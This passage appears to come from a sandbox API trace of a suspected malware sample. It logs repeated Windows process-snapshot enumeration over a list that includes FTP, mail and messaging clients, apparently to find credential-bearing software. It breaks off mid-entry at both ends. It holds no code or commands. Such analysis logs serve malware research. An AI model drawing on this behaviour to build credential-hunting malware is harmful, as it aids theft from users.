szExeFile="audiodg.exe")) returned 1 [0299.982] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0299.983] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0299.985] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0299.987] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0299.989] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0299.991] CloseHandle (hObject=0x344) returned 1 [0299.991] Sleep (dwMilliseconds=0x64) [0300.067] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0300.082] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0300.084] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0300.086] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0300.087] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0300.089] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0300.090] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0300.092] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0300.177] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0300.179] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0300.180] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.182] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.183] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0300.185] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.186] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.188] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.189] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.200] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.201] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.203] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.204] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0300.206] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0300.208] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0300.209] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.211] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0300.212] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0300.214] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0300.215] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0300.217] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.218] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0300.220] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0300.221] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0300.272] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0300.274] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0300.275] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0300.280] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0300.281] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0300.283] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0300.285] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0300.286] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0300.288] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0300.289] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0300.291] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0300.293] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0300.295] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0300.296] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0300.298] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0300.299] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0300.301] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0300.302] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0300.304] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0300.305] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0300.307] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0300.349] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0300.351] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0300.353] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0300.354] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0300.356] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0300.358] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0300.360] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0300.372] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0300.373] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0300.375] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0300.377] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0300.379] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0300.381] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0300.383] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0300.385] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0300.387] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0300.389] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0300.391] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0300.428] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0300.430] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0300.432] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0300.433] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0300.435] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0300.437] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0300.439] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0300.440] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0300.442] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0300.444] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, 